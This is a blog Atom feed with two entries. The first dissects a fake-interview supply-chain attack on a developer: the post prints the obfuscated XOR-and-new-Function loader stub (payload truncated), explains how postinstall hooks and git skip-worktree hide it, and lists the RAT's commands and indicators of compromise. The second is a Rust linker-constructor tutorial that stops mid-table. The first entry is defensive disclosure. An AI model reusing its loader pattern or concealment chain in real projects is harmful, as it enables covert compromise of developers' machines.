<?xml version="1.0" encoding="utf-8"?>
	<feed xmlns="http://www.w3.org/2005/Atom">
	<title><![CDATA[grack.com]]></title>
	<link href="https://grack.com/atom.xml" rel="self"/>
	<link href="https://grack.com/"/>
	<icon>https://grack.com/resource/favicon/favicon-160x160.png</icon>
	<logo>https://grack.com/resource/favicon/favicon-160x160.png</logo>
	<updated>2026-06-27T17:59:52+00:00</updated>
	<id>https://grack.com/</id>
	<author>
		<name><![CDATA[Matt Mastracci]]></name>
		<email><![CDATA[matthew@mastracci.com]]></email>
	</author>
	<generator uri="http://jekyllrb.com/">Jekyll</generator>
	
	
	<entry>
		<title type="html"><![CDATA[Anatomy of a Failed (Nation-State?) Attack]]></title>
		<link href="https://grack.com/blog/2026/06/25/dissecting-a-failed-nation-state-attack/"/>
		<updated>2026-06-25T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2026/06/25/dissecting-a-failed-nation-state-attack</id>
		<content type="html"><![CDATA[<callout><div>
    <p><strong>Disclosures</strong></p>

    <p>🧠 This post is fully human-written: all prose with the exception of the IoC information. Because it was time-sensitive, Claude was used to accelerate the RAT analysis and build an IoC-detection script.</p>

    <p>As I live in Canada, this information was reported to the appropriate Canadian agencies (CCCS et al). The payload-laden image does not trigger any AV engines <a href="https://www.virustotal.com/gui/file/7af7864333f5d6dec2a137e2c123019dea27cae8c30b0f293b310c969635c90e/detection">on VirusTotal</a>.</p>

    <p>The attacker’s identity is fictitious, but there are uninvolved individuals with the same name that they may be confused for and have been omitted from this piece.</p>

    <p>On Reddit there’s <a href="https://www.reddit.com/r/rust/comments/1ug9pzn/anatomy_of_a_failed_nationstate_attack/">a few others</a> in the Rust community who mentioned they were targeted as well.</p>
  </div></callout>

<p>This week I came in far-to-close contact with a <a href="https://manishearth.github.io/blog/2026/06/17/the-future-of-the-con-is-already-here/">fake-interview scam</a> designed to backdoor my machine, and from the context of the emails, I assume my packages on <a href="https://crates.io">crates.io</a>.</p>

<p>Note: I’m calling it the “PinpinRAT” because of some of the internal strings, but it’s possible this has another name out there. I couldn’t find any other references to it online.</p>

<p>A week and a half ago I received an email from “D█████ S████” claiming to be from Lua Ventures, a (unbeknownst to me at the time) defunct Singapore-based VC in the DeFi space. <em>To be clear: this is a fabricated persona</em>, and the name was likely chosen to be easily mistaken for one of a number of real people with the name.</p>

<p><a class="image standard" href="https://grack.com/assets/2026/06/email1-shadow.png"><img src="https://grack.com/_thumbs/1f8b7d9e516ba9c3cfe0cde6e914a2f8-600-600"></a></p>

<p>It looked like a real email, including a link to a somewhat boring, but legitimate-looking LinkedIn profile.</p>

<p><a class="image standard" href="https://grack.com/assets/2026/06/linkedin-shadow.png"><img src="https://grack.com/_thumbs/3a95b9e5ac8cad76aa0e5def6cd15efd-600-600"></a></p>

<p>The attacker even name-dropped two of their investments that were specifically looking for advisory work: Lyrasing and Roadpay. Searching for either of the companies wasn’t really a flag - they both had some very basic web presense, but nothing that would indicate they were fake rather than just <em>early stage</em>. <a href="https://web.archive.org/web/20260626011734/https://roadpay.cc/en">(archive.org snapshot of roadpay.cc)</a>.</p>

<p><a class="image standard" href="https://grack.com/assets/2026/06/email2-shadow.png"><img src="https://grack.com/_thumbs/875b2cc7cdadeb6c051133117d1d2ad5-600-600"></a></p>

<p>We went back and forth on a meeting time and eventually settled on a time we were going to chat. There was nothing odd about the call itself, either. A somewhat-difficult-to-understand man with a German accent was on the other line. He said he was taking the call while travelling which was a bit odd, but again, not necessarily a flag.</p>

<p><a class="image standard" href="https://grack.com/assets/2026/06/email3-shadow.png"><img src="https://grack.com/_thumbs/ce57a8e84d613f3ea6b0bf268925360d-600-600"></a></p>

<p>After the call came the bait. A follow-up email that offered up a “test”.</p>

<p><a class="image standard" href="https://grack.com/assets/2026/06/email4-shadow.png"><img src="https://grack.com/_thumbs/4fa6e9244b58b19652e2577523dd1e8c-600-600"></a></p>

<p>At this point I was mildly annoyed, but not suspicious. I cloned the repo, but the first true red flag only fired here.</p>

<p>Where I got lucky: they sent me a TypeScript repo. It didn’t make sense to me. The instructions looked more like a TypeScript job interview than any sort of architecture analysis. I decided to zip up the repo and toss it into the Claude to get a quick scan - a combination of caution and laziness.</p>

<p>A few moments later it had identified some oddities:</p>

<blockquote>
  <p>Notably, the root package.json has no postinstall/preinstall hook — interesting, because they use patch-package, which is normally wired to a postinstall. Let me check every package.json for lifecycle scripts, then audit the patch files (the real risk surface — patches can inject arbitrary code into node_modules).</p>
</blockquote>

<p>That piqued my interest. I scanned the directories myself and noticed a fairly unreasonable number of <code class="language-text highlighter-rouge">patches/</code> directories. The first few I checked seemed innocent enough, but as you might have guessed, they were just trying to add noise so the real payload wouldn’t get caught.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>packages/electron-benchmarks/patches/sumchecker+3.0.1.patch
packages/electron-benchmarks/patches/@electron+get+2.0.3.patch
packages/electron-benchmarks/patches/extract-zip+2.0.1.patch
</code></pre></div></div>

<p>While I was checking slowly by hand, Claude identified first signs of PinpinRAT:</p>

<blockquote>
  <p>I found it. This is a malicious payload. Embedded in the <code class="language-text highlighter-rouge">typescript+5.9.2.patch</code> file — inside what is presented as a routine “module specifier” patch to TypeScript — there is a base64-blob self-executing obfuscation stub injected at the very top of both <code class="language-text highlighter-rouge">_tsc.js</code> and <code class="language-text highlighter-rouge">typescript.js</code>:</p>
</blockquote>

<blockquote>
  <div class="language-js highlighter-rouge">
<div class="highlight"><pre class="highlight"><code><span class="p">;;(</span><span class="kd">function</span><span class="p">(</span><span class="nx">r</span><span class="p">,</span><span class="nx">k</span><span class="p">){</span><span class="kd">const</span> <span class="nx">d</span><span class="o">=</span><span class="nx">Buffer</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="nx">r</span><span class="p">,</span><span class="dl">'</span><span class="s1">base64</span><span class="dl">'</span><span class="p">);</span><span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nx">i</span><span class="o">&lt;</span><span class="nx">d</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="nx">i</span><span class="o">+=</span><span class="mi">1</span><span class="p">)</span><span class="nx">d</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="o">^=</span><span class="nx">k</span><span class="p">;</span><span class="k">return</span> <span class="k">new</span> <span class="nc">Function</span><span class="p">(</span><span class="dl">'</span><span class="s1">require</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="s1">Buffer</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="s1">WebAssembly</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="s1">process</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="s1">__dirname</span><span class="dl">'</span><span class="p">,</span><span class="nx">d</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="dl">'</span><span class="s1">utf8</span><span class="dl">'</span><span class="p">))(</span><span class="nx">require</span><span class="p">,</span><span class="nx">Buffer</span><span class="p">,</span><span class="nx">WebAssembly</span><span class="p">,</span><span class="nx">process</span><span class="p">,</span><span class="nx">__dirname</span><span class="p">)})(</span><span class="dl">"</span><span class="s2">YWFg...</span><span class="dl">"</span><span class="p">,</span><span class="mi">73</span><span class="p">)</span><span class="cm">/*12ff4b51*/</span>
<span class="k">void</span> <span class="dl">"</span><span class="s2">ticket-harbor-tsc-shim-anchor</span><span class="dl">"</span><span class="p">;</span>
</code></pre></div>  </div>
</blockquote>

<blockquote>
  <p>This decodes a base64 string, XOR-decrypts every byte with the key 73, and runs the result through new Function(…) with require, process, Buffer, etc. handed in. That is a hidden code-execution payload that fires every time tsc or anything importing typescript.js runs — i.e. on the very first npm run typecheck / build / dev.</p>
</blockquote>

<p>… and that’s the point where I decided to stop poking the bear on my own machine. I zipped it up with a password to stop myself from accidentally detonating it and kept running the analysis in the sandbox.</p>

<h2 id="the-trap">The Trap</h2>

<p>The repo is themed as a ferry-ticketing app named “Ticket Harbor”. The <code class="language-text highlighter-rouge">task.txt</code> included in the bundle was a plausible set of boring tasks, but ended with:</p>

<blockquote>
  <p>Run the repo typecheck, test suite, and relevant desktop/server build commands before submitting.</p>
</blockquote>

<p>That instruction is the trap that gets you.</p>

<p>The chain works like this:</p>

<ol>
  <li>
    <p>Four separate <code class="language-text highlighter-rouge">postinstall</code> hooks run <code class="language-text highlighter-rouge">patch-package</code>. But one of them also runs <code class="language-text highlighter-rouge">git update-index --skip-worktree</code> on the patch files, which hides them from <code class="language-text highlighter-rouge">git status</code>.</p>
  </li>
  <li>
    <p>The <code class="language-text highlighter-rouge">typescript+5.9.2.patch</code> injects a self-executing stub at the top of <code class="language-text highlighter-rouge">typescript.js</code> and <code class="language-text highlighter-rouge">_tsc.js</code>. This is a lightly-obfuscated blob fed into <code class="language-text highlighter-rouge">new Function(...)</code> (avoiding <code class="language-text highlighter-rouge">eval</code>, presumably to avoid malware detection).</p>
  </li>
  <li>
    <p>That loader reads a hidden chunk appended to a file named <code class="language-text highlighter-rouge">operators/3.png</code>, runs a small embedded WASM stub (in a custom <code class="language-text highlighter-rouge">wAsm</code> chunk), then spawns a detached, silent Node process carrying a 1.68 MB obfuscated second-stage payload.</p>
  </li>
  <li>
    <p>It cleans up after itself at three layers: the <code class="language-text highlighter-rouge">git skip-worktree</code> trick, the dropper rewrites the <code class="language-text highlighter-rouge">patch</code> to delete its own injected lines after first run, and the stage-2 temp directory self-deletes on execution.</p>
  </li>
</ol>

<p>The <em>actual</em> payload is a RAT (a remote-access trojan). I was originally worried this was a credential stealer but that’s a lot worse. PinpinRAT is nested in three obfuscated layers which were a pain to unwrap: obfuscator.io (which claims LLM protection, hah), and two further base64 layers.</p>

<h2 id="what-it-drops">What it drops</h2>

<p>In the interest of 1) quickly sharing this info and 2) not accidentally detonating malware on my own machines, I let Claude tear apart the actual trojan in its sandbox and had it describe it to me.</p>

<callout><div>
    <p>To be absolutely clear: Claude was able to reverse engineer multiple levels of obfuscation over about 5 minutes of work, which is far faster than I could have.</p>
  </div></callout>

<p>The drop is a full remote-access trojan that seems to have been put together by someone who knows what they are doing. It sets up an RSA key locally and uses AES-256-CBC as a session key.</p>

<p>On startup it calls a checkin routine that harvests and exfiltrates a host fingerprint:</p>

<ul>
  <li>primary IP address (enumerates all non-internal interfaces), plus all IPs</li>
  <li>username (<code class="language-text highlighter-rouge">os.userInfo().username</code>)</li>
  <li>hostname</li>
  <li>OS type + release + platform + architecture</li>
  <li>process PID and full <code class="language-text highlighter-rouge">process.argv</code>
</li>
  <li>Node version</li>
</ul>

<p>It generates an RSA-2048 keypair and a random AES-256 session key (aes_psk), then all subsequent traffic is AES-256-CBC encrypted with an HMAC-SHA256 integrity tag.</p>

<p>It supports the following commands:</p>

<ul>
  <li>
<code class="language-text highlighter-rouge">env</code> — JSON.stringify(process.env) dumped and sent back.</li>
  <li>
<code class="language-text highlighter-rouge">upload</code> — reads an arbitrary file path and exfiltrates it.</li>
  <li>
<code class="language-text highlighter-rouge">download</code> — writes attacker-supplied bytes to any writable path.</li>
  <li>
<code class="language-text highlighter-rouge">spawn</code> — runs an arbitrary process with optional shell expansion.</li>
  <li>
<code class="language-text highlighter-rouge">ls</code> / <code class="language-text highlighter-rouge">cd</code> / <code class="language-text highlighter-rouge">pwd</code> / <code class="language-text highlighter-rouge">cp</code> / <code class="language-text highlighter-rouge">mv</code> — general filesystem primitives.</li>
  <li>
<code class="language-text highlighter-rouge">dns</code> — makes the host resolve arbitrary names through a specified resolver (for DNS tunneling?).</li>
  <li>
<code class="language-text highlighter-rouge">dismantle</code> — self-removal.</li>
</ul>

<h2 id="indicators-of-compromise">Indicators of Compromise</h2>

<p>If you ended up running one of these, you should immediately disconnect your system from the network and rotate your credentials from another machine. Remediation <em>should</em> be straightforward, but consider your credentials (including cookies and password-protected secrets) compromised.</p>

<p>These are some indicators of compromise found in the PinpinRAT malware:</p>

<ul>
  <li>C2: 89.124.107.161:80</li>
  <li>Scheduled task (Windows): <code class="language-text highlighter-rouge">PinpinWrappedJs</code>
</li>
  <li>Process masquerade (macOS): <code class="language-text highlighter-rouge">com.apple.WebKit.Networking</code>
</li>
  <li>Env vars: <code class="language-text highlighter-rouge">NODT_PAYLOAD_PATH</code>, <code class="language-text highlighter-rouge">NODT_PAYLOAD_ARGS</code>
</li>
  <li>PNG chunk guard: <code class="language-text highlighter-rouge">WASMPACK</code> (wAsm)</li>
  <li>
<code class="language-text highlighter-rouge">PINPIN_NO_AUTOSTART=1</code>: stops persistence</li>
  <li>cronjob with <code class="language-text highlighter-rouge">mutex.js</code> (only if the RAT had permission, may not exist on macOS)</li>
  <li>Anchor strings in <code class="language-text highlighter-rouge">typescript.js</code>: <code class="language-text highlighter-rouge">12ff4b51</code>, <code class="language-text highlighter-rouge">ticket-harbor-tsc-shim-anchor</code>
</li>
  <li>
<code class="language-text highlighter-rouge">typescript+5.9.2.patch</code> with the payload</li>
  <li>Artifact dirs: <code class="language-text highlighter-rouge">~/Library/Caches/runtime-cache/.cache-&lt;randomhex&gt;/</code> (macOS), <code class="language-text highlighter-rouge">/tmp/.cache-&lt;randomhex&gt;/</code> (Linux), <code class="language-text highlighter-rouge">%TEMP%\.cache-&lt;randomhex&gt;\</code> (Windows)
    <ul>
      <li>.. containing <code class="language-text highlighter-rouge">payload.js</code> and <code class="language-text highlighter-rouge">mutex.js</code>
</li>
    </ul>
  </li>
</ul>

<h2 id="where-i-should-have-seen-flags">Where I should have seen flags</h2>

<p>There’s a few places I should have seen flags earlier on. The goal of the campaign is to keep the flags subtle enough they don’t trigger your defences, but you need to be vigilent enough to see when enough yellow flags stack up to a red one.</p>

<p>The messages have some LLM tells to them when you look closer. That’s probably a sign that you should approach anything with extreme skepticism.</p>

<p>The LinkedIn profile looks real at first glance, but it’s filled with gibberish (“BSc(Hons), MA (Dist), PGDipFM, CEng”?) that should at least trigger sort of salad vibes. No real activity.</p>

<p>The social media link on their website has a real history, but the name was changed in November 2025. The posts are all pretty vacuous, vague praise for companies that aren’t really described in any detail.</p>

<p>None of the companies that had websites had a <em>real</em> presence beyond their flashy websites.</p>

<p>They never sent a proper invite - it was just a time and a Google Meet. What VC doesn’t use a calendar? Their camera was off the whole time and they were “travelling”.</p>

<p>And the overall approach, a VC fund based in Singapore, operating out of CEST, reaching out to a developer in Canada, with domains targeting American customers but ending in <code class="language-text highlighter-rouge">.cc</code>. It’s far more difficult to check credentials of an organization that’s so far away.</p>

<p>Nothing was <em>obvious</em> without hindsight, but the missing pieces are there if you look at the whole thing together.</p>

<h2 id="so-who-was-this">So who was this?</h2>

<p>It’s impossible to say for sure, but this was targeted, had a pretty convincing cover story with a fake persona, multiple fake websites with stolen history, and a patient timeline. The <code class="language-text highlighter-rouge">git</code> trap was sophisticated. This “fake-interview scam” has been a theme for a number of actors in 2026.</p>

<p>Who is actually behind this is the responsibility of the agencies now. What <em>is</em> worth noting is that this was targeted to developers like you and I, and that I was lucky enough to see a red flag right before springing the trap.</p>

<p>And to be honest, what’s terrifying and sobering to me is that if this had been a Rust repository with a booby-trapped <code class="language-text highlighter-rouge">build.rs</code> script, I might have even fallen for it.</p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[There Is Life Before Main in Rust]]></title>
		<link href="https://grack.com/blog/2026/06/11/life-before-main/"/>
		<updated>2026-06-11T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2026/06/11/life-before-main</id>
		<content type="html"><![CDATA[<callout><div>
    <p><strong>Disclosures</strong></p>

    <p>🧠 This post is <a href="https://grack.com/assets/2026/06/remarkable_life_after_main.pdf">100% human-written</a>. Claude was used for feedback and to assist with the linker symbol diagram. Cursor was used for feedback and to ensure examples were compilable.</p>

    <p>The author of this post is deeply interested in the topic of life-before-main: he is the author of the <a href="https://crates.io/crates/ctor"><code class="language-text highlighter-rouge">ctor</code></a> crate, and the creator of the <a href="https://github.com/mmastrac/linktime"><code class="language-text highlighter-rouge">linktime</code></a> project that we’ll be using in the examples below.</p>
  </div></callout>

<p>Every Rust binary has one thing in common: <code class="language-text highlighter-rouge">fn main()</code>. If you come from the C world, that might be more familiar as <code class="language-text highlighter-rouge">int main(argc, argv)</code>. Some platforms might obfuscate it a bit more, but under the hood, every binary has an entrypoint.</p>

<p>We’re going to discuss what happens <em>before</em> <code class="language-text highlighter-rouge">main</code> and what interesting things we can do there. In addition, we’ll be showing some <em>novel techniques</em> for mutable data that aren’t in common use in the Rust ecosystem today.</p>

<p>This post is a deep dive into some technical details of how Rust source becomes a Rust binary. Some background knowledge may be helpful to the reader, including:</p>

<ul>
  <li><a href="https://doc.rust-lang.org/book/ch04-02-references-and-borrowing.html">References in Rust</a></li>
  <li><a href="https://doc.rust-lang.org/book/ch20-01-unsafe-rust.html">Unsafe Rust</a></li>
</ul>

<h2 id="before-main">Before main</h2>

<p>What might not be familiar to most developers is <em>how</em> you get into the main function. You see, under the hood for every language is the <strong>runtime</strong>. C has one: the C runtime that you might <a href="https://en.wikipedia.org/wiki/C_standard_library">recognize as <code class="language-text highlighter-rouge">libc</code></a>. Rust also has its own runtime: the Rust standard library. And because C is the lingua franca of runtimes for most executable code <sup id="fnref:0"><a href="#fn:0" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>, Rust builds its own runtime atop of C’s, effectively building its own higher-level abstraction encapsulating C’s.</p>

<p>A runtime is a bit fuzzy to define. It’s both the executable code that lives on disk and compilable headers and libraries used at compile time. But the purpose of a runtime is always the same: integrating developer code with the platform’s operating system.</p>

<p>There’s an entire ecosystem of processing that happens before the function you declared as <code class="language-text highlighter-rouge">main</code> starts up. C uses this to configure allocation, file access, thread-local storage and other C runtime services. Rust uses this time to configure parts of its own language and runtime. Specifically, Rust has infrastructure to handle panics and unwinding. Rust also needs to translate the C-style program arguments <sup id="fnref:0b"><a href="#fn:0b" class="footnote" rel="footnote" role="doc-noteref">2</a></sup> into its own <a href="https://doc.rust-lang.org/beta/std/env/fn.args.html"><code class="language-text highlighter-rouge">std::env::args</code></a> interface. The machinery for all this is <a href="https://github.com/rust-lang/rust/blob/main/compiler/rustc_codegen_ssa/src/base.rs#L501">visible in the Rust compiler project</a>.</p>

<p>Runtimes make use of this pre-main phase because it guarantees (1) running before user code, and (2) a single-threaded, highly-consistent and predictably-ordered environment, which allow for reliable and deterministic initialization.</p>

<p>By not taking advantage of this environment, you are missing out on a very useful bootstrapping phase. We’ll see later on in this post how we can build some useful primitives making use of life before main.</p>

<h2 id="entry-points">Entry Points</h2>

<p>A binary starts when the operating system’s loader <sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">3</a></sup> - the part of the OS that loads the binary into memory and sets up the environment - hands off control. The runtime is responsible for accepting the hand-off from the loader. There’s a platform-specific hook on every OS that accepts the hand-off - to some extent this is the <em>real</em> main. On Linux, the entry point <a href="https://en.wikipedia.org/wiki/Executable_and_Linkable_Format#:~:text=e_entry">is stored in the <code class="language-text highlighter-rouge">e_entry</code> field</a> of the ELF header, and by default, the linker places the address of a symbol named <code class="language-text highlighter-rouge">_start</code> there. A similar hook <a href="https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#:~:text=AddressOfEntryPoint">exists on Windows</a>, and boots the executable in <a href="https://stackoverflow.com/questions/1583193/what-functions-does-winmaincrtstartup-perform">a function named <code class="language-text highlighter-rouge">_WinMainCRTStartup</code></a>. At this point the C runtime has a chance to configure itself, and the way that all runtimes do this is via initialization functions.</p>

<p>In early iterations of runtimes, bootstrapping was a static tree of function calls: initialize file I/O, initialize the allocator, etc. As runtimes became more complex, this tree of function calls became more complex, and binary sizes increased to absorb more C runtime functionality that they may or may not need.</p>

<p>Over time, linkers developed the ability to discard unused code before even writing the binary to disk (including unused parts of the C runtime), and with that came a need for a replacement for the static init call trees.</p>

<p>The most popular method <sup id="fnref:2"><a href="#fn:2" class="footnote" rel="footnote" role="doc-noteref">4</a></sup> of declaring init code came from GCC: <code class="language-text highlighter-rouge">__attribute__((constructor))</code>. The way this worked was to place a list of init functions into a contiguous chunk of the binary on disk. When the C runtime started, it could walk through each of these functions and call them, allowing various bits of the C runtime to request initialization without strongly coupling subsystems, and allowing the linker to jettison unused subsystems, init code and all.</p>

<p>Eventually the need for constructor ordering became important enough that constructors could be given a priority and run in a specific order, allowing the runtime to initialize subsystems before and after each other. E.g., the memory allocation (<code class="language-text highlighter-rouge">malloc</code>) subsystem might be needed for buffered file I/O.</p>

<p>On most platforms <sup id="fnref:3"><a href="#fn:3" class="footnote" rel="footnote" role="doc-noteref">5</a></sup>, the linker was called in to do the priority work: each platform ended up with a way to prioritize the order in which data gets written to sections, which allowed for the C runtime to end up with a well-ordered list of function pointers <sup id="fnref:4"><a href="#fn:4" class="footnote" rel="footnote" role="doc-noteref">6</a></sup>.</p>

<p>We can even build an example of this by hand in Rust using the <code class="language-text highlighter-rouge">#[unsafe(link_section = "...")]</code> attribute (<a href="https://play.rust-lang.org/?version=stable&amp;mode=debug&amp;edition=2024&amp;gist=61a54d3cde75e732db52558f4ef9381c">try it in the Rust Playground</a>):</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cd">/// Linux example: the modern glibc runtime uses `.init_array` to hold function</span>
<span class="cd">/// pointers, and a numeric suffix allows them to be ordered. Note that priorities</span>
<span class="cd">/// less than or equal to 100 are reserved for the runtime itself, so any code that</span>
<span class="cd">/// wants to use the C runtime must use a priority of 101 or higher.</span>

<span class="c1">// On Linux, `.init_array` holds _function pointers_, not functions.</span>
<span class="c1">// We can convert a function to a function pointer with one of the below</span>
<span class="c1">// blocks which is equivalent to this:</span>
<span class="c1">//</span>
<span class="c1">// #[used] // &lt;-- without this, Rust might decide the init function is unused and remove it</span>
<span class="c1">// #[unsafe(link_section = ".init_array.NNNNN")] // &lt;-- the section where we place the function pointer</span>
<span class="c1">// static INIT_ARRAY_FN_PTR: extern "C" fn() </span>
<span class="c1">//     = function; // &lt;-- the function pointer data: we assign the function to it</span>
<span class="c1">//</span>
<span class="c1">// extern "C" fn function() { ... } // &lt;-- the function itself</span>

<span class="nd">#[used]</span>
<span class="nd">#[unsafe(link_section</span> <span class="nd">=</span> <span class="s">".init_array.101"</span><span class="nd">)]</span>
<span class="k">static</span> <span class="n">INIT_FN_FIRST</span><span class="p">:</span> <span class="k">extern</span> <span class="s">"C"</span> <span class="k">fn</span><span class="p">()</span> <span class="o">=</span> <span class="k">const</span> <span class="p">{</span>
    <span class="k">extern</span> <span class="s">"C"</span> <span class="k">fn</span> <span class="nf">init</span><span class="p">()</span> <span class="p">{</span>
        <span class="nd">println!</span><span class="p">(</span><span class="s">"Initializing (first!)"</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">init</span>
<span class="p">};</span>

<span class="nd">#[used]</span>
<span class="nd">#[unsafe(link_section</span> <span class="nd">=</span> <span class="s">".init_array.201"</span><span class="nd">)]</span>
<span class="k">static</span> <span class="n">INIT_FN_SECOND</span><span class="p">:</span> <span class="k">extern</span> <span class="s">"C"</span> <span class="k">fn</span><span class="p">()</span> <span class="o">=</span> <span class="k">const</span> <span class="p">{</span>
    <span class="k">extern</span> <span class="s">"C"</span> <span class="k">fn</span> <span class="nf">init</span><span class="p">()</span> <span class="p">{</span>
        <span class="nd">println!</span><span class="p">(</span><span class="s">"Initializing (second!)"</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">init</span>
<span class="p">};</span>

<span class="k">fn</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="nd">println!</span><span class="p">(</span><span class="s">"Main!"</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="linktime-ctor-link-section-and-more">linktime: ctor, link-section and more</h2>

<callout><div>
    <p>The examples in this post will work on Linux and various BSDs, but are not designed to be cross-platform examples. For example, macOS has <code class="language-text highlighter-rouge">start</code> and <code class="language-text highlighter-rouge">stop</code> symbols, but they are named differently <sup id="fnref:c0"><a href="#fn:c0" class="footnote" rel="footnote" role="doc-noteref">7</a></sup>. Windows does not support <code class="language-text highlighter-rouge">start</code> and <code class="language-text highlighter-rouge">stop</code> symbols, but has a set of rules for sorting sections that is effectively equivalent.</p>

    <p>Because platforms are so widely variable, we’ll be introducing the <a href="https://crates.io/crates/ctor"><code class="language-text highlighter-rouge">ctor</code></a> and <a href="https://crates.io/crates/link-section"><code class="language-text highlighter-rouge">link-section</code></a> crates (from the <a href="https://github.com/mmastrac/linktime"><code class="language-text highlighter-rouge">linktime</code> project</a>) as a way to abstract away platform-specific differences and hide the general complexity of linker work.</p>

    <p>The excellent <a href="https://crates.io/crates/inventory"><code class="language-text highlighter-rouge">inventory</code></a> and <a href="https://crates.io/crates/linkme"><code class="language-text highlighter-rouge">linkme</code></a> are two other very popular crates built on the same principles, but have limitations <sup id="fnref:c1"><a href="#fn:c1" class="footnote" rel="footnote" role="doc-noteref">8</a></sup> that make them less suitable for the examples in this post.</p>

    <p>If you’d like to learn more, the <code class="language-text highlighter-rouge">link-section</code> crate contains a <a href="https://crates.io/crates/link-section#:~:text=Platform%20Support">detailed report on platform-specific behaviour</a>.</p>
  </div></callout>

<p>The <a href="https://crates.io/crates/ctor"><code class="language-text highlighter-rouge">ctor</code></a> crate is designed to handle all of the boilerplate of registering constructors in a cross-platform way. This allows us to simplify our examples above to:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">use</span> <span class="nn">ctor</span><span class="p">::</span><span class="n">ctor</span><span class="p">;</span>

<span class="nd">#[ctor(unsafe,</span> <span class="nd">priority</span> <span class="nd">=</span> <span class="mi">101</span><span class="nd">)]</span>
<span class="k">fn</span> <span class="nf">init1</span><span class="p">()</span> <span class="p">{</span>
    <span class="nd">println!</span><span class="p">(</span><span class="s">"Initializing (first)!"</span><span class="p">);</span>
<span class="p">}</span>

<span class="nd">#[ctor(unsafe,</span> <span class="nd">priority</span> <span class="nd">=</span> <span class="mi">201</span><span class="nd">)]</span>
<span class="k">fn</span> <span class="nf">init2</span><span class="p">()</span> <span class="p">{</span>
    <span class="nd">println!</span><span class="p">(</span><span class="s">"Initializing (second)!"</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">fn</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="nd">println!</span><span class="p">(</span><span class="s">"Main!"</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Note that neither example explicitly calls the init functions. The linker organized them in a way that the C runtime called them for us!</p>

<h2 id="sections-and-linker-scripts">Sections and Linker Scripts</h2>

<p>The process in which constructors are linked isn’t mysterious, though. In fact, compilers allow you to name the location in the binary (on most platforms called a “section”) you want to place any of your data and/or code. And by extension, and as we saw above, Rust allows this as well. The challenge, as we will see, is making use of this organizational feature.</p>

<p>Linkers have been the key to C’s ability to target any form of binary for some time. Most linkers allow for developers to provide <strong>linker scripts</strong> - text files that live alongside your source code (which is compiled to object files) and instruct the linker on how those object files are assembled. Using a linker script, a single C file might become a Linux executable, or a block of raw assembly that lives in the boot sector of a hard drive.</p>

<p>Linker scripts also allow for defining virtual symbols - that is, symbols that don’t exist in any source file but can be used by C code to access pointers to the underlying data in the loaded binary.</p>

<p>Linker scripts are a complex topic and beyond the scope of this post, but we can <a href="https://wiki.osdev.org/Linker_Scripts">easily find examples</a> of them in the wild:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// Adapted from https://wiki.osdev.org/Linker_Scripts
SECTIONS
{
  .text.start (_KERNEL_BASE_) : {
    startup.o( .text )
  }

  .text : ALIGN(CONSTANT(MAXPAGESIZE)) {
_TEXT_START_ = .;
    *(.text)
_TEXT_END_ = .;
  }

  .data : ALIGN(CONSTANT(MAXPAGESIZE)) {
_DATA_START_ = .;
    *(.data)
_DATA_END_ = .;
  }
}
</code></pre></div></div>

<p>In the above example, the virtual symbols <code class="language-text highlighter-rouge">_TEXT_START_</code> and <code class="language-text highlighter-rouge">_TEXT_END_</code> are explicitly defined to point to the beginning and end of the <code class="language-text highlighter-rouge">.text</code> section, respectively. The period in <code class="language-text highlighter-rouge">_TEXT_START_ = .;</code> is a special syntax that refers to <a href="https://sourceware.org/binutils/docs/ld/Location-Counter.html">a <em>location counter</em></a> that resolves roughly to the current output address in the binary.</p>

<h2 id="linker-symbols">Linker Symbols</h2>

<p>This trips up most developers that encounter it for the first time, but the linker is <em>setting the address of the start and end symbols</em>, and therefore where the <code class="language-text highlighter-rouge">static</code> with the same name is placed, and <em>not</em> setting the value of symbols that are pointers. That is to say: the start and stop symbols aren’t a <code class="language-text highlighter-rouge">*const Type</code>. The start and stop symbols carry no data themselves and are used for their addresses only! The section consists of the range of data <em>between</em> the start (inclusive) and stop (exclusive) symbols.</p>

<style>
table#link_symbol_diagram {
  font: inherit;
  border-collapse: collapse;
  thead {
    background-color: #fafafa;
    th {
        padding: 0.2rem;
    }
  }
  th, td {
    &.slashed-background {
        background-color: #ffffff;
        background-image: repeating-linear-gradient(
          -45deg,
          #eee 0,
          #eee 1px,
          #fff 1px,
          #fff 7px
        );
        border: 1px solid #eee;
    }
    font: inherit;
    font-size: 0.8rem;
    padding-left: 0.5rem;
    padding-right: 0.5rem;
    vertical-align: middle;
  }
}
</style>

<table id="link_symbol_diagram">
  <thead>
    <tr>
      <th>Section</th>
      <th>Static</th>
      <th>Value</th>
      <th></th>
      <th>Linker symbol(s)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td rowspan="4" class="slashed-background"><code>my_numbers</code></td>
      <td><code>_DATA_1</code></td>
      <td><code>11</code></td>
      <td rowspan="4">⎫<br>⎬<br>⎭</td>
      <td><code>_DATA_1, _start_my_numbers</code></td>
